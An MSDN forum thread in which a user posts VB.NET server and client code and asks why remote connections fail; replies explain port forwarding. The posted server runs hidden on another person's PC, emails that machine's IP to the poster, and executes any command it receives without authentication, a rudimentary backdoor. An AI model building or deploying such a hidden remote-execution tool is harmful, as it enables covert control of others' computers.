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Why the Client can't connect remotely with external IP?

Answered Why the Client can't connect remotely with external IP?

  • Sunday, April 01, 2012 6:26 PM
     
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    Look, I have a server and a client working with sockets. I run the server at my laptop, sending its internal IP to my Hotmail account and I run my client at my desktop. I enter the internal IP and connect fine!
    But when I tried to connect with my cousin's PC, which is not in my network, I entered its external IP and the client couldn't connect.
    Here is the code for the Server (consists of 2 forms):

    Form 1 (Server):

    Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail

Public Class HCS
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)

    Private Sub listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception

        End Try

    End Sub

    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    Process.Start(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub

   

   

    Private Sub HCS_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Helper.Show()

        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception

            End Try
        End While

        While True
            check()
        End While

        Me.Hide()




       



    End Sub

    
   
End Class

    Form 2 (Helper):

    Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class Helper



    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

        Dim client As New WebClient
        client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)")
        Dim baseurl As String = "http://checkip.dyndns.org/"
        Dim proxy As IWebProxy = WebRequest.GetSystemWebProxy()
        proxy.Credentials = CredentialCache.DefaultNetworkCredentials
        client.Proxy = proxy
        Dim data As Stream
        Try
            data = client.OpenRead(baseurl)
        Catch ex As Exception
            MsgBox("open url " & ex.Message)
            Exit Sub
        End Try
        Dim reader As StreamReader = New StreamReader(data)
        Dim s As String = reader.ReadToEnd()
        data.Close()
        reader.Close()
        s = s.Replace("<html><head><title>Current IP Check</title></head><body>", "").Replace("</body></html>", "").ToString()



        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("*********@hotmail.com", "**********")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.live.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("*********@hotmail.com")
        mail.To.Add("********@hotmail.com")
        mail.Subject = "New IP detected for Hive Cluster!"
        mail.Body = s
        smtpServer.Send(mail)
        Me.Close()


    End Sub
End Class

    and the code for the Client:

    Imports System.Net
Imports System.Net.Sockets


Public Class HCC
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961

    Private Sub connect()
        Try
            ip = IPAddress.Parse(TextBox1.Text)
            port = TextBox2.Text
            sock.Connect(ip, port)
            status.ForeColor = Color.Green
            status.Text = "Connected"
            Button1.Enabled = False

        Catch ex As Exception
            MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")
            status.ForeColor = Color.Red
            status.Text = "Not connected"
        End Try
    End Sub

    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub

   


    Private Sub HCC_Load(sender As Object, e As EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        connect()
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Try
            dat("0*" + TextBox3.Text)
            TextBox3.Text = ""
        Catch ex As Exception
            MsgBox("Socket is not connected yet!", MsgBoxStyle.Information, Me.Text)

        End Try

    End Sub
End Class
    So, any ideas?

     

All Replies

  • Sunday, April 01, 2012 6:51 PM
     
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    • "I entered its external IP and the client couldn't connect."

    Why? Do you get an error message? Which one and in which line?

    • "with my cousin's PC, which is not in my network, I entered its external IP "

    I'm not sure about the situation: On your cousins's PC, the client is running, and you're trying to connect to your laptop, which runs the server, and you've entered the external IP of which machine on your cousin's PC?

    On your cousin's PC, you must enter the external IP of your network (router), and on the router, you must forward it to your laptop. Firewall's must be configured correctly, too.

    Armin

     
  • Sunday, April 01, 2012 7:00 PM
     
     
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    Addition: The overloaded constructor New(Integer) of the TcpListener is documented as obsolete and one of the other constructors should be used. That way you will also have to think about the IP address to bind the listener to. If it listens to your local network only, it might not receive data from outside.

    Armin

     
  • Sunday, April 01, 2012 7:16 PM
     
     
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    The error is generated here:

    MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")

    and the Firewall is configured right cause when my cousin ran the Server a message popup that told "The program may have limited access to your resources, do you want to add the program to the firewall trust list?" > Yes

     
  • Sunday, April 01, 2012 7:18 PM
     
     
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    I forgot that the Client/Server ran under administrator privileges as well...
     
  • Sunday, April 01, 2012 7:39 PM
     
     
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    That's a message box, not the location of the error. I'm guessing it's on the client in the lin "sock.Connect(ip, port)"

    The situation is still unclear: If the server is running on your cousin's PC, are you connecting from your desktop? What about the router settings I mentioned, and which IP has been entered?

    Armin

     
  • Sunday, April 01, 2012 7:45 PM
     
     
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    Look when the server loaded up at my cousin's, with the Helper, his external IP sent to my Hotmail account.

    Then, I ran the client, entered that IP and pressed connect and then that message appeared...

     
  • Sunday, April 01, 2012 7:56 PM
     
     
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    I'm afraid, I can't help if you don't provide the necessary information. Good luck!

    Armin

     
  • Sunday, April 01, 2012 8:14 PM
     
     
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    What do you want to tell you to understand?
     
  • Tuesday, April 03, 2012 6:18 AM
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    Hi Hell-zerg,

    Thanks for your posting.

    We need more information about your issue.

    1. You don’t show us the error information. The information “Hive Cluster Client” is provided by you, not the VS system. So I’m afraid that you need to show the ex.message. Or just remove the Try…Catch code and find the correct error line.

    2. You need to let us know the error environment. According to your description, it seems that the server is running in your cousin’s PC, and the Client is running in your PC. Is it right? At the same time, you also need to show us the setting of router both in your PC and your cousin’s PC.

    I look forwards to your reply.

    Mark Liu-lxf [MSFT]
    MSDN Community Support | Feedback to us

     
  • Tuesday, April 03, 2012 6:34 AM
     
     
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    Hi Hell-Zerg,

    Can you ping from your cousin's PC to Server? If the ping result is somewhat like request time out or destination is unreachable then the network still has a problem.

    Regards

    Agung Gugiaji My application developer journals

     
  • Tuesday, April 03, 2012 8:29 AM
     
     
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    Hi,

    Any Progress?

     
  • Wednesday, April 04, 2012 8:21 AM
     
     
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    So, that's the 2 images, the first one without the Try... Catch... End Try and the other with the ex.message displayed:

    Which router settings should I show exactly?

     
  • Wednesday, April 04, 2012 8:43 AM
     
     
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    Hi Hell-Zerg,

    Can you ping from your cousin's PC to Server? If the ping result is somewhat like request time out or destination is unreachable then the network still has a problem.

    Regards

    Agung Gugiaji My application developer journals

    Hi Hell-Zerg,

    this idea is good. But this means only that You can see the router from Your cousin, but not the computer behind him in the subnetwork. To achieve his You have to configure a port forwarding in both routers.

    Example:

    computer 1                        router1         internet                                router2                           computer2

    (192.168.2.100)                                                                              ( 85.74.125.238)           (192.168.2.199)

    (send message)                 (pass direct thrue)                                   (port forwarding)            (listening on port 5000)

    85.74.125.238:5000 --------------->     85.74.125.238:5000   ---->           >  192.168.2.199:5000 

    Do You understand this? all incoming frames from internet to router2 with port 5000 are redirected to computer2 OK?

    The client software makes a socket connect to 192.168.2.199 and is istening on port 5000

    regards Ellen

    Ich benutze/ I'm using VB2008 & VB2010



     
  • Wednesday, April 04, 2012 9:32 AM
     
     
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    I didn't understand indeed...
     
  • Wednesday, April 04, 2012 10:08 AM
     
     
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    I know the server is running on the cousin's PC. The code above is running on which machine? On your desktop? Is the IP you enter the external IP of your cousin, i.e. either of the machine itself (if there's no router), or of the router? Is port forwarding enabled on your cousin's router? On your desktop, does your own router allow outgoing packets to 6961?

    Armin

     
  • Wednesday, April 04, 2012 10:19 AM
     
     
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    Look, the client is running on the desktop and the server in the background. When you run the server, an email is being sent to my Hotmail account including the external IP of my cousin's PC... How can I check if port forwarding is enabled on my cousin's router?
     
  • Wednesday, April 04, 2012 10:44 AM
     
     
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    Look, the client is running on the desktop and the server in the background. When you run the server, an email is being sent to my Hotmail account including the external IP of my cousin's PC... How can I check if port forwarding is enabled on my cousin's router?

    You are making it really hard to understand. "on the desktop and the server in the background". On your desktop or on your cousin's desktop? What does "in the background" mean?

    Again: There are three networks. Your own local network, your cousin's local network, and the internet connecting both networks. Is this right? Or are your desktop, your cousin's PC (and your notebook) in the same local network?

    "How can I check if port forwarding is enabled on my cousin's router?" Check the manual of the router. This forum doesn't cover this question.

    Armin

     
  • Wednesday, April 04, 2012 10:49 AM
     
     
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    YES, the client is running on MY desktop and the server running on my cousin's PC, which is not in my LOCAL NETWORK, and is in the background (not visible)…
     
  • Wednesday, April 04, 2012 10:40 PM
     
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    :) i was so happy when u found this post, I've been searching the same topic for 5 weeks. No tutorials. Then.. i realized that this thread is new, and not complete. So i was sad again. Now i continue to search the world wide web to find a solution to this, if sockets can connect to external IPs. From what i read you can. But unfortunately there is no source code here so I'm back where i started, just like 5 weeks ago. :(

    Can someone just answer this question?:

    Dim Ip 'This is a Local-IP
Sock.Connect(IP,Integer)'Some port so don't worry about it

    I know i have to handle Admin Priv, Port Fowarding.

    If i put some External-IP here instead of a Local one, will it work fine?

    Oh, and hey Zerg. Starcraft is still very fun. Starcraft II has some nice new maps if you know. Anyways GL.


    • Edited by Davud97 Wednesday, April 04, 2012 10:41 PM
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  • Wednesday, April 04, 2012 10:48 PM
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    I haven't read all of the responses in this thread and if its already been suggested, then please forgive me for not reading all posts here.  I am thinking you are having a port-forwarding issue, which should be set up inside of your router.

    Take a look here if this is something you have'nt looked in to.

    http://www.wikihow.com/Set-up-Port-Forwarding-on-a-Router

    If you want something you've never had, you need to do something you've never done. If you believe something to be true, then one day you will be called upon to demonstrate that truth.




     
  • Friday, April 06, 2012 9:15 PM
     
     
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    I prefer playing Starcraft rather than Starcraft II :P
     
  • Wednesday, April 11, 2012 9:25 AM
     
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    Hello Hell-Zerg,

    please download this sample TCP . I have tested the communication between 2 computers via internet. This works perfect. Please notice:

    • in Field "remote IP address" enter the dynalias name of remote router
    • in fields Port choose 5000
    • field host socket IP will detected automatically
    • configure a port forwarding to each local IP on port 5000 in both routers

    success and regards Ellen

    Ich benutze/ I'm using VB2008 & VB2010

     
  • Thursday, April 12, 2012 8:42 PM
     
     
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    Thanks

    ~Davud

     
  • Friday, April 13, 2012 5:44 PM
     
     
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    @Davud

    please :-)

    ~Ellen

    Ich benutze/ I'm using VB2008 & VB2010